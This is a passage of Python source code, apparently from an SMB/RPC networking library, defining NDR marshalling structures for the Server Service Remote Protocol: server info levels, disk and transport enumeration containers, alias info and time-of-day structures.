SERVER_INFO_103(NDRSTRUCT):\n    structure = (\n        ('sv103_platform_id', DWORD),\n        ('sv103_name', LPWSTR),\n        ('sv103_version_major', DWORD),\n        ('sv103_version_minor', DWORD),\n        ('sv103_type', DWORD),\n        ('sv103_comment', LPWSTR),\n        ('sv103_users', DWORD),\n        ('sv103_disc', DWORD),\n        ('sv103_hidden', DWORD),\n        ('sv103_announce', DWORD),\n        ('sv103_anndelta', DWORD),\n        ('sv103_licenses', DWORD),\n        ('sv103_userpath', LPWSTR),\n        ('sv103_capabilities', DWORD),\n    )\n\nclass LPSERVER_INFO_103(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_103),\n    )\n\n# 2.2.4.44 SERVER_INFO_502\nclass SERVER_INFO_502(NDRSTRUCT):\n    structure = (\n        ('sv502_sessopens', DWORD),\n        ('sv502_sessvcs', DWORD),\n        ('sv502_opensearch', DWORD),\n        ('sv502_sizreqbuf', DWORD),\n        ('sv502_initworkitems', DWORD),\n        ('sv502_maxworkitems', DWORD),\n        ('sv502_rawworkitems', DWORD),\n        ('sv502_irpstacksize', DWORD),\n        ('sv502_maxrawbuflen', DWORD),\n        ('sv502_sessusers', DWORD),\n        ('sv502_sessconns', DWORD),\n        ('sv502_maxpagedmemoryusage', DWORD),\n        ('sv502_maxnonpagedmemoryusage', DWORD),\n        ('sv502_enablesoftcompat', DWORD),\n        ('sv502_enableforcedlogoff', DWORD),\n        ('sv502_timesource', DWORD),\n        ('sv502_acceptdownlevelapis', DWORD),\n        ('sv502_lmannounce', DWORD),\n    )\n\nclass LPSERVER_INFO_502(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_502),\n    )\n\n# 2.2.4.45 SERVER_INFO_503\nclass SERVER_INFO_503(NDRSTRUCT):\n    structure = (\n        ('sv503_sessopens', DWORD),\n        ('sv503_sessvcs', DWORD),\n        ('sv503_opensearch', DWORD),\n        ('sv503_sizreqbuf', DWORD),\n        ('sv503_initworkitems', DWORD),\n        ('sv503_maxworkitems', DWORD),\n        ('sv503_rawworkitems', DWORD),\n        ('sv503_irpstacksize', DWORD),\n        ('sv503_maxrawbuflen', DWORD),\n        ('sv503_sessusers', DWORD),\n        ('sv503_sessconns', DWORD),\n        ('sv503_maxpagedmemoryusage', DWORD),\n        ('sv503_maxnonpagedmemoryusage', DWORD),\n        ('sv503_enablesoftcompat', DWORD),\n        ('sv503_enableforcedlogoff', DWORD),\n        ('sv503_timesource', DWORD),\n        ('sv503_acceptdownlevelapis', DWORD),\n        ('sv503_lmannounce', DWORD),\n        ('sv503_domain', LPWSTR),\n        ('sv503_maxcopyreadlen', DWORD),\n        ('sv503_maxcopywritelen', DWORD),\n        ('sv503_minkeepsearch', DWORD),\n        ('sv503_maxkeepsearch', DWORD),\n        ('sv503_minkeepcomplsearch', DWORD),\n        ('sv503_maxkeepcomplsearch', DWORD),\n        ('sv503_threadcountadd', DWORD),\n        ('sv503_numblockthreads', DWORD),\n        ('sv503_scavtimeout', DWORD),\n        ('sv503_minrcvqueue', DWORD),\n        ('sv503_minfreeworkitems', DWORD),\n        ('sv503_xactmemsize', DWORD),\n        ('sv503_threadpriority', DWORD),\n        ('sv503_maxmpxct', DWORD),\n        ('sv503_oplockbreakwait', DWORD),\n        ('sv503_oplockbreakresponsewait', DWORD),\n        ('sv503_enableoplocks', DWORD),\n        ('sv503_enableoplockforceclose', DWORD),\n        ('sv503_enablefcbopens', DWORD),\n        ('sv503_enableraw', DWORD),\n        ('sv503_enablesharednetdrives', DWORD),\n        ('sv503_minfreeconnections', DWORD),\n        ('sv503_maxfreeconnections', DWORD),\n    )\n\nclass LPSERVER_INFO_503(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_503),\n    )\n\n# 2.2.4.46 SERVER_INFO_599\nclass SERVER_INFO_599(NDRSTRUCT):\n    structure = (\n        ('sv599_sessopens', DWORD),\n        ('sv599_sessvcs', DWORD),\n        ('sv599_opensearch', DWORD),\n        ('sv599_sizreqbuf', DWORD),\n        ('sv599_initworkitems', DWORD),\n        ('sv599_maxworkitems', DWORD),\n        ('sv599_rawworkitems', DWORD),\n        ('sv599_irpstacksize', DWORD),\n        ('sv599_maxrawbuflen', DWORD),\n        ('sv599_sessusers', DWORD),\n        ('sv599_sessconns', DWORD),\n        ('sv599_maxpagedmemoryusage', DWORD),\n        ('sv599_maxnonpagedmemoryusage', DWORD),\n        ('sv599_enablesoftcompat', DWORD),\n        ('sv599_enableforcedlogoff', DWORD),\n        ('sv599_timesource', DWORD),\n        ('sv599_acceptdownlevelapis', DWORD),\n        ('sv599_lmannounce', DWORD),\n        ('sv599_domain', LPWSTR),\n        ('sv599_maxcopyreadlen', DWORD),\n        ('sv599_maxcopywritelen', DWORD),\n        ('sv599_minkeepsearch', DWORD),\n        ('sv599_maxkeepsearch', DWORD),\n        ('sv599_minkeepcomplsearch', DWORD),\n        ('sv599_maxkeepcomplsearch', DWORD),\n        ('sv599_threadcountadd', DWORD),\n        ('sv599_numblockthreads', DWORD),\n        ('sv599_scavtimeout', DWORD),\n        ('sv599_minrcvqueue', DWORD),\n        ('sv599_minfreeworkitems', DWORD),\n        ('sv599_xactmemsize', DWORD),\n        ('sv599_threadpriority', DWORD),\n        ('sv599_maxmpxct', DWORD),\n        ('sv599_oplockbreakwait', DWORD),\n        ('sv599_oplockbreakresponsewait', DWORD),\n        ('sv599_enableoplocks', DWORD),\n        ('sv599_enableoplockforceclose', DWORD),\n        ('sv599_enablefcbopens', DWORD),\n        ('sv599_enableraw', DWORD),\n        ('sv599_enablesharednetdrives', DWORD),\n        ('sv599_minfreeconnections', DWORD),\n        ('sv599_maxfreeconnections', DWORD),\n        ('sv599_initsesstable', DWORD),\n        ('sv599_initconntable', DWORD),\n        ('sv599_initfiletable', DWORD),\n        ('sv599_initsearchtable', DWORD),\n        ('sv599_alertschedule', DWORD),\n        ('sv599_errorthreshold', DWORD),\n        ('sv599_networkerrorthreshold', DWORD),\n        ('sv599_diskspacethreshold', DWORD),\n        ('sv599_reserved', DWORD),\n        ('sv599_maxlinkdelay', DWORD),\n        ('sv599_minlinkthroughput', DWORD),\n        ('sv599_linkinfovalidtime', DWORD),\n        ('sv599_scavqosinfoupdatetime', DWORD),\n        ('sv599_maxworkitemidletime', DWORD),\n    )\n\nclass LPSERVER_INFO_599(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_599),\n    )\n\n# 2.2.4.47 SERVER_INFO_1005\nclass SERVER_INFO_1005(NDRSTRUCT):\n    structure = (\n        ('sv1005_comment', LPWSTR),\n    )\n\nclass LPSERVER_INFO_1005(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1005),\n    )\n\n# 2.2.4.48 SERVER_INFO_1107\nclass SERVER_INFO_1107(NDRSTRUCT):\n    structure = (\n        ('sv1107_users', DWORD),\n    )\n\nclass LPSERVER_INFO_1107(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1107),\n    )\n\n# 2.2.4.49 SERVER_INFO_1010\nclass SERVER_INFO_1010(NDRSTRUCT):\n    structure = (\n        ('sv1010_disc', DWORD),\n    )\n\nclass LPSERVER_INFO_1010(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1010),\n    )\n\n# 2.2.4.50 SERVER_INFO_1016\nclass SERVER_INFO_1016(NDRSTRUCT):\n    structure = (\n        ('sv1016_hidden', DWORD),\n    )\n\nclass LPSERVER_INFO_1016(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1016),\n    )\n\n# 2.2.4.51 SERVER_INFO_1017\nclass SERVER_INFO_1017(NDRSTRUCT):\n    structure = (\n        ('sv1017_announce', DWORD),\n    )\n\nclass LPSERVER_INFO_1017(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1017),\n    )\n\n# 2.2.4.52 SERVER_INFO_1018\nclass SERVER_INFO_1018(NDRSTRUCT):\n    structure = (\n        ('sv1018_anndelta', DWORD),\n    )\n\nclass LPSERVER_INFO_1018(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1018),\n    )\n\n# 2.2.4.53 SERVER_INFO_1501\nclass SERVER_INFO_1501(NDRSTRUCT):\n    structure = (\n        ('sv1501_sessopens', DWORD),\n    )\n\nclass LPSERVER_INFO_1501(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1501),\n    )\n\n# 2.2.4.54 SERVER_INFO_1502\nclass SERVER_INFO_1502(NDRSTRUCT):\n    structure = (\n        ('sv1502_sessvcs', DWORD),\n    )\n\nclass LPSERVER_INFO_1502(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1502),\n    )\n\n# 2.2.4.55 SERVER_INFO_1503\nclass SERVER_INFO_1503(NDRSTRUCT):\n    structure = (\n        ('sv1503_opensearch', DWORD),\n    )\n\nclass LPSERVER_INFO_1503(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1503),\n    )\n\n# 2.2.4.56 SERVER_INFO_1506\nclass SERVER_INFO_1506(NDRSTRUCT):\n    structure = (\n        ('sv1506_maxworkitems', DWORD),\n    )\n\nclass LPSERVER_INFO_1506(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1506),\n    )\n\n# 2.2.4.57 SERVER_INFO_1510\nclass SERVER_INFO_1510(NDRSTRUCT):\n    structure = (\n        ('sv1510_sessusers', DWORD),\n    )\n\nclass LPSERVER_INFO_1510(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1510),\n    )\n\n# 2.2.4.58 SERVER_INFO_1511\nclass SERVER_INFO_1511(NDRSTRUCT):\n    structure = (\n        ('sv1511_sessconns', DWORD),\n    )\n\nclass LPSERVER_INFO_1511(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1511),\n    )\n\n# 2.2.4.59 SERVER_INFO_1512\nclass SERVER_INFO_1512(NDRSTRUCT):\n    structure = (\n        ('sv1512_maxnonpagedmemoryusage', DWORD),\n    )\n\nclass LPSERVER_INFO_1512(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1512),\n    )\n\n# 2.2.4.60 SERVER_INFO_1513\nclass SERVER_INFO_1513(NDRSTRUCT):\n    structure = (\n        ('sv1513_maxpagedmemoryusage', DWORD),\n    )\n\nclass LPSERVER_INFO_1513(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1513),\n    )\n\n# 2.2.4.61 SERVER_INFO_1514\nclass SERVER_INFO_1514(NDRSTRUCT):\n    structure = (\n        ('sv1514_enablesoftcompat', DWORD),\n    )\n\nclass LPSERVER_INFO_1514(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1514),\n    )\n\n# 2.2.4.62 SERVER_INFO_1515\nclass SERVER_INFO_1515(NDRSTRUCT):\n    structure = (\n        ('sv1515_enableforcedlogoff', DWORD),\n    )\n\nclass LPSERVER_INFO_1515(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1515),\n    )\n\n# 2.2.4.63 SERVER_INFO_1516\nclass SERVER_INFO_1516(NDRSTRUCT):\n    structure = (\n        ('sv1516_timesource', DWORD),\n    )\n\nclass LPSERVER_INFO_1516(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1516),\n    )\n\n# 2.2.4.64 SERVER_INFO_1518\nclass SERVER_INFO_1518(NDRSTRUCT):\n    structure = (\n        ('sv1518_lmannounce', DWORD),\n    )\n\nclass LPSERVER_INFO_1518(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1518),\n    )\n\n# 2.2.4.65 SERVER_INFO_1523\nclass SERVER_INFO_1523(NDRSTRUCT):\n    structure = (\n        ('sv1523_maxkeepsearch', DWORD),\n    )\n\nclass LPSERVER_INFO_1523(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1523),\n    )\n\n# 2.2.4.66 SERVER_INFO_1528\nclass SERVER_INFO_1528(NDRSTRUCT):\n    structure = (\n        ('sv1528_scavtimeout', DWORD),\n    )\n\nclass LPSERVER_INFO_1528(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1528),\n    )\n\n# 2.2.4.67 SERVER_INFO_1529\nclass SERVER_INFO_1529(NDRSTRUCT):\n    structure = (\n        ('sv1529_minrcvqueue', DWORD),\n    )\n\nclass LPSERVER_INFO_1529(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1529),\n    )\n\n# 2.2.4.68 SERVER_INFO_1530\nclass SERVER_INFO_1530(NDRSTRUCT):\n    structure = (\n        ('sv1530_minfreeworkitems', DWORD),\n    )\n\nclass LPSERVER_INFO_1530(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1530),\n    )\n\n# 2.2.4.69 SERVER_INFO_1533\nclass SERVER_INFO_1533(NDRSTRUCT):\n    structure = (\n        ('sv1533_maxmpxct', DWORD),\n    )\n\nclass LPSERVER_INFO_1533(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1533),\n    )\n\n# 2.2.4.70 SERVER_INFO_1534\nclass SERVER_INFO_1534(NDRSTRUCT):\n    structure = (\n        ('sv1534_oplockbreakwait', DWORD),\n    )\n\nclass LPSERVER_INFO_1534(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1534),\n    )\n\n# 2.2.4.71 SERVER_INFO_1535\nclass SERVER_INFO_1535(NDRSTRUCT):\n    structure = (\n        ('sv1535_oplockbreakresponsewait', DWORD),\n    )\n\nclass LPSERVER_INFO_1535(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1535),\n    )\n\n# 2.2.4.72 SERVER_INFO_1536\nclass SERVER_INFO_1536(NDRSTRUCT):\n    structure = (\n        ('sv1536_enableoplocks', DWORD),\n    )\n\nclass LPSERVER_INFO_1536(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1536),\n    )\n\n# 2.2.4.73 SERVER_INFO_1538\nclass SERVER_INFO_1538(NDRSTRUCT):\n    structure = (\n        ('sv1538_enablefcbopens', DWORD),\n    )\n\nclass LPSERVER_INFO_1538(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1538),\n    )\n\n# 2.2.4.74 SERVER_INFO_1539\nclass SERVER_INFO_1539(NDRSTRUCT):\n    structure = (\n        ('sv1539_enableraw', DWORD),\n    )\n\nclass LPSERVER_INFO_1539(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1539),\n    )\n\n# 2.2.4.75 SERVER_INFO_1540\nclass SERVER_INFO_1540(NDRSTRUCT):\n    structure = (\n        ('sv1540_enablesharednetdrives', DWORD),\n    )\n\nclass LPSERVER_INFO_1540(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1540),\n    )\n\n# 2.2.4.76 SERVER_INFO_1541\nclass SERVER_INFO_1541(NDRSTRUCT):\n    structure = (\n        ('sv1541_minfreeconnections', DWORD),\n    )\n\nclass LPSERVER_INFO_1541(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1541),\n    )\n\n# 2.2.4.77 SERVER_INFO_1542\nclass SERVER_INFO_1542(NDRSTRUCT):\n    structure = (\n        ('sv1542_maxfreeconnections', DWORD),\n    )\n\nclass LPSERVER_INFO_1542(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1542),\n    )\n\n# 2.2.4.78 SERVER_INFO_1543\nclass SERVER_INFO_1543(NDRSTRUCT):\n    structure = (\n        ('sv1543_initsesstable', DWORD),\n    )\n\nclass LPSERVER_INFO_1543(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1543),\n    )\n\n# 2.2.4.79 SERVER_INFO_1544\nclass SERVER_INFO_1544(NDRSTRUCT):\n    structure = (\n        ('sv1544_initconntable', DWORD),\n    )\n\nclass LPSERVER_INFO_1544(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1544),\n    )\n\n# 2.2.4.80 SERVER_INFO_1545\nclass SERVER_INFO_1545(NDRSTRUCT):\n    structure = (\n        ('sv1545_initfiletable', DWORD),\n    )\n\nclass LPSERVER_INFO_1545(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1545),\n    )\n\n# 2.2.4.81 SERVER_INFO_1546\nclass SERVER_INFO_1546(NDRSTRUCT):\n    structure = (\n        ('sv1546_initsearchtable', DWORD),\n    )\n\nclass LPSERVER_INFO_1546(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1546),\n    )\n\n# 2.2.4.82 SERVER_INFO_1547\nclass SERVER_INFO_1547(NDRSTRUCT):\n    structure = (\n        ('sv1547_alertschedule', DWORD),\n    )\n\nclass LPSERVER_INFO_1547(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1547),\n    )\n\n# 2.2.4.83 SERVER_INFO_1548\nclass SERVER_INFO_1548(NDRSTRUCT):\n    structure = (\n        ('sv1548_errorthreshold', DWORD),\n    )\n\nclass LPSERVER_INFO_1548(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1548),\n    )\n\n# 2.2.4.84 SERVER_INFO_1549\nclass SERVER_INFO_1549(NDRSTRUCT):\n    structure = (\n        ('sv1549_networkerrorthreshold', DWORD),\n    )\n\nclass LPSERVER_INFO_1549(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1549),\n    )\n\n# 2.2.4.85 SERVER_INFO_1550\nclass SERVER_INFO_1550(NDRSTRUCT):\n    structure = (\n        ('sv1550_diskspacethreshold', DWORD),\n    )\n\nclass LPSERVER_INFO_1550(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1550),\n    )\n\n# 2.2.4.86 SERVER_INFO_1552\nclass SERVER_INFO_1552(NDRSTRUCT):\n    structure = (\n        ('sv1552_maxlinkdelay', DWORD),\n    )\n\nclass LPSERVER_INFO_1552(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1552),\n    )\n\n# 2.2.4.87 SERVER_INFO_1553\nclass SERVER_INFO_1553(NDRSTRUCT):\n    structure = (\n        ('sv1553_minlinkthroughput', DWORD),\n    )\n\nclass LPSERVER_INFO_1553(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1553),\n    )\n\n# 2.2.4.88 SERVER_INFO_1554\nclass SERVER_INFO_1554(NDRSTRUCT):\n    structure = (\n        ('sv1554_linkinfovalidtime', DWORD),\n    )\n\nclass LPSERVER_INFO_1554(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1554),\n    )\n\n# 2.2.4.89 SERVER_INFO_1555\nclass SERVER_INFO_1555(NDRSTRUCT):\n    structure = (\n        ('sv1555_scavqosinfoupdatetime', DWORD),\n    )\n\nclass LPSERVER_INFO_1555(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1555),\n    )\n\n# 2.2.4.90 SERVER_INFO_1556\nclass SERVER_INFO_1556(NDRSTRUCT):\n    structure = (\n        ('sv1556_maxworkitemidletime', DWORD),\n    )\n\nclass LPSERVER_INFO_1556(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_1556),\n    )\n\n# 2.2.4.91 DISK_INFO\nclass WCHAR_ARRAY(NDRSTRUCT):\n    commonHdr = (\n        ('Offset','<L=0'),\n        ('ActualCount','<L=len(Data)//2'),\n    )\n    commonHdr64 = (\n        ('Offset','<Q=0'),\n        ('ActualCount','<Q=len(Data)//2'),\n    )\n    structure = (\n        ('Data',':'),\n    )\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        # Here just print the data\n        print(\" %r\" % (self['Data']), end=' ')\n\n    def __setitem__(self, key, value):\n        if key == 'Data':\n            try:\n                self.fields[key] = value.encode('utf-16le')\n            except UnicodeDecodeError:\n                import sys\n                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')\n            self.fields['ActualCount'] = None\n            self.data = None        # force recompute\n        else:\n            return NDR.__setitem__(self, key, value)\n\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key].decode('utf-16le')\n        else:\n            return NDR.__getitem__(self,key)\n\n    def getDataLen(self, data, offset=0):\n        return self[\"ActualCount\"]*2 \n\n\nclass DISK_INFO(NDRSTRUCT):\n    structure = (\n        ('Disk', WCHAR_ARRAY),\n    )\n\nclass LPDISK_INFO(NDRPOINTER):\n    referent = (\n        ('Data', DISK_INFO),\n    )\n\nclass DISK_INFO_ARRAY(NDRUniConformantVaryingArray):\n    item = DISK_INFO\n\nclass LPDISK_INFO_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DISK_INFO_ARRAY),\n    )\n\n# 2.2.4.92 DISK_ENUM_CONTAINER\nclass DISK_ENUM_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPDISK_INFO_ARRAY),\n    )\n\nclass LPDISK_ENUM_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', DISK_ENUM_CONTAINER),\n    )\n\n# 2.2.4.93 SERVER_TRANSPORT_INFO_0\nclass SERVER_TRANSPORT_INFO_0(NDRSTRUCT):\n    structure = (\n        ('svti0_numberofvcs', DWORD),\n        ('svti0_transportname', LPWSTR),\n        ('svti0_transportaddress', PNDRUniConformantArray),\n        ('svti0_transportaddresslength', DWORD),\n        ('svti0_networkaddress', LPWSTR),\n    )\n\nclass LPSERVER_TRANSPORT_INFO_0(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_0),\n    )\n\nclass SERVER_TRANSPORT_INFO_0_ARRAY(NDRUniConformantArray):\n    item = SERVER_TRANSPORT_INFO_0\n\nclass LPSERVER_TRANSPORT_INFO_0_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_0_ARRAY),\n    )\n\n# 2.2.4.94 SERVER_TRANSPORT_INFO_1\nclass SERVER_TRANSPORT_INFO_1(NDRSTRUCT):\n    structure = (\n        ('svti1_numberofvcs', DWORD),\n        ('svti1_transportname', LPWSTR),\n        ('svti1_transportaddress', PNDRUniConformantArray),\n        ('svti1_transportaddresslength', DWORD),\n        ('svti1_networkaddress', LPWSTR),\n        ('svti1_domain', LPWSTR),\n    )\n\nclass LPSERVER_TRANSPORT_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_1),\n    )\n\nclass SERVER_TRANSPORT_INFO_1_ARRAY(NDRUniConformantArray):\n    item = SERVER_TRANSPORT_INFO_1\n\nclass LPSERVER_TRANSPORT_INFO_1_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_1_ARRAY),\n    )\n\n# 2.2.4.95 SERVER_TRANSPORT_INFO_2\nclass SERVER_TRANSPORT_INFO_2(NDRSTRUCT):\n    structure = (\n        ('svti2_numberofvcs', DWORD),\n        ('svti2_transportname', LPWSTR),\n        ('svti2_transportaddress', PNDRUniConformantArray),\n        ('svti2_transportaddresslength', DWORD),\n        ('svti2_networkaddress', LPWSTR),\n        ('svti2_domain', LPWSTR),\n        ('svti2_flags', DWORD),\n    )\n\nclass LPSERVER_TRANSPORT_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_2),\n    )\n\nclass SERVER_TRANSPORT_INFO_2_ARRAY(NDRUniConformantArray):\n    item = SERVER_TRANSPORT_INFO_2\n\nclass LPSERVER_TRANSPORT_INFO_2_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_2_ARRAY),\n    )\n\n# 2.2.4.96 SERVER_TRANSPORT_INFO_3\nclass PASSWORD_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return 256\n\nclass SERVER_TRANSPORT_INFO_3(NDRSTRUCT):\n    structure = (\n        ('svti3_numberofvcs', DWORD),\n        ('svti3_transportname', LPWSTR),\n        ('svti3_transportaddress', PNDRUniConformantArray),\n        ('svti3_transportaddresslength', DWORD),\n        ('svti3_networkaddress', LPWSTR),\n        ('svti3_domain', LPWSTR),\n        ('svti3_flags', DWORD),\n        ('svti3_passwordlength', DWORD),\n        ('svti3_password', PASSWORD_ARRAY),\n    )\n\nclass LPSERVER_TRANSPORT_INFO_3(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_3),\n    )\n\nclass SERVER_TRANSPORT_INFO_3_ARRAY(NDRUniConformantArray):\n    item = SERVER_TRANSPORT_INFO_3\n\nclass LPSERVER_TRANSPORT_INFO_3_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_TRANSPORT_INFO_3_ARRAY),\n    )\n\n# 2.2.4.97 SERVER_XPORT_INFO_0_CONTAINER\nclass SERVER_XPORT_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSERVER_TRANSPORT_INFO_0_ARRAY),\n    )\n\nclass LPSERVER_XPORT_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_XPORT_INFO_0_CONTAINER),\n    )\n\n# 2.2.4.98 SERVER_XPORT_INFO_1_CONTAINER\nclass SERVER_XPORT_INFO_1_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSERVER_TRANSPORT_INFO_1_ARRAY),\n    )\n\nclass LPSERVER_XPORT_INFO_1_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_XPORT_INFO_1_CONTAINER),\n    )\n\n# 2.2.4.99 SERVER_XPORT_INFO_2_CONTAINER\nclass SERVER_XPORT_INFO_2_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSERVER_TRANSPORT_INFO_2_ARRAY),\n    )\n\nclass LPSERVER_XPORT_INFO_2_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_XPORT_INFO_2_CONTAINER),\n    )\n\n# 2.2.4.100 SERVER_XPORT_INFO_3_CONTAINER\nclass SERVER_XPORT_INFO_3_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSERVER_TRANSPORT_INFO_3_ARRAY),\n    )\n\nclass LPSERVER_XPORT_INFO_3_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_XPORT_INFO_3_CONTAINER),\n    )\n\n# 2.2.3.8 SERVER_XPORT_ENUM_UNION\nclass SERVER_XPORT_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('Level0', LPSERVER_XPORT_INFO_0_CONTAINER),\n        1: ('Level1', LPSERVER_XPORT_INFO_1_CONTAINER),\n        2: ('Level2', LPSERVER_XPORT_INFO_2_CONTAINER),\n        3: ('Level3', LPSERVER_XPORT_INFO_3_CONTAINER),\n    }\n\n# 2.2.4.101 SERVER_XPORT_ENUM_STRUCT\nclass SERVER_XPORT_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('XportInfo', SERVER_XPORT_ENUM_UNION),\n    )\n\n# 2.2.4.102 SERVER_ALIAS_INFO_0\nclass SERVER_ALIAS_INFO_0(NDRSTRUCT):\n    structure = (\n        ('srvai0_alias', LMSTR),\n        ('srvai0_target', LMSTR),\n        ('srvai0_default', NDRBOOLEAN),\n        ('srvai0_reserved', ULONG),\n    )\n\nclass LPSERVER_ALIAS_INFO_0(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_ALIAS_INFO_0),\n    )\n\nclass SERVER_ALIAS_INFO_0_ARRAY(NDRUniConformantArray):\n    item = SERVER_ALIAS_INFO_0\n\nclass LPSERVER_ALIAS_INFO_0_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_ALIAS_INFO_0_ARRAY),\n    )\n\n# 2.2.4.103 SERVER_ALIAS_INFO_0_CONTAINER\nclass SERVER_ALIAS_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSERVER_ALIAS_INFO_0_ARRAY),\n    )\n\nclass LPSERVER_ALIAS_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_ALIAS_INFO_0_CONTAINER),\n    )\n\n# 2.2.4.104 SERVER_ALIAS_ENUM_STRUCT\nclass SERVER_ALIAS_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('Level0', LPSERVER_ALIAS_INFO_0_CONTAINER),\n    }\n\nclass SERVER_ALIAS_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('ServerAliasInfo', SERVER_ALIAS_ENUM_UNION),\n    )\n\n# 2.2.4.105 TIME_OF_DAY_INFO\nclass TIME_OF_DAY_INFO(NDRSTRUCT):\n    structure = (\n        ('tod_elapsedt', DWORD),\n        ('tod_msecs', DWORD),\n        ('tod_hours', DWORD),\n        ('tod_mins', DWORD),\n        ('tod_secs', DWORD),\n        ('tod_hunds', DWORD),\n        ('tod_timezone', DWORD),\n        ('tod_tinterval', DWORD),\n        ('tod_day', DWORD),\n        ('tod_month', DWORD),\n        ('tod_year', DWORD),\n        ('tod_weekday', DWORD),\n    )\n\nclass LPTIME_OF_DAY_INFO(NDRPOINTER):\n    referent = (\n        ('Data', TIME_OF_DAY_INFO),\n    )\n\n# 2.2.4.106 ADT_SECURITY_DESCRIPTOR\nclass ADT_SECURITY_DESCRIPTOR(NDRSTRUCT):\n    structure = (\n        ('Length', DWORD),\n        ('Buffer', PNDRUniConformantArray),\n    )\n\nclass PADT_SECURITY_DESCRIPTOR(NDRPOINTER):\n    referent = (\n        ('Data', ADT_SECURITY_DESCRIPTOR),\n    